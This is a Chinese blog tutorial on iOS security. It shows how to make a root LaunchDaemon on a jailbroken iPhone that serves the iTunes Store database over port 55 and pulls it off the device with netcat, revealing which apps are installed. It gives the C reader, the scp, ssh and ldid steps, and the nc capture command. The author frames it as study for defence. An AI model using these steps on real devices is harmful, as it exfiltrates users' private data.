本人郑重声明:并不鼓励窃取用户隐私等行为,一切 hack 学习都只是为了研究如何防御。OK,进入正题。
开机自启动
在 iOS 安全攻防(一):Hack必备的命令与工具中,介绍了如何编译自己的 C 程序并手动启动。今天介绍如何使程序变为开机自启动。
首先打开 Xcode 创建一个 plist 属性文件
其中要注意一下通信服务名,我定为 55 。用编辑器打开,即为:
最后,将 plist 文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/下 。
编写读取 iTunesstore 数据库程序
读取 itunesstored2.sqlitedb 信息,并输出到 stdout 中,便于我们读取。
#include#include#include#define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"
int main(){
int fd = open(FILE, O_RDONLY);
char buf[128];
int ret = 0;
if(fd < 0)
return -1;
while (( ret = read(fd, buf, sizeof(buf))) > 0){
write( fileno(stdout), buf, ret);
}
close(fd);
return 0;
}
编译、拷贝、签名
编译方法上篇文章已经介绍清楚,这里不再重复,直接 ¥%¥#%¥……%# 生成运行在 ARM 的 ncdemo
将 ncdemo scp 到设备中,并登录
$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114
签名
#ldid -S ncdemo
#mv ncdemo /usr/bin
抓取 iTunesstore 数据信息
这时,我们只需要利用 netcat,指定之前定义的服务名称,轻松在本地抓取设备 iTunesstore 信息.
$ nc 192.168.1.114 55 > itunesstored2.sqlitedb
分析 iTunesstore 数据信息
好吧,这里就介绍个最简单的应用,利用string命令查看: $ strings itunesstored2.sqlitedb
于是乎,我们就清晰的得到了 iPhone/iPad 设备上都安装了哪些 app :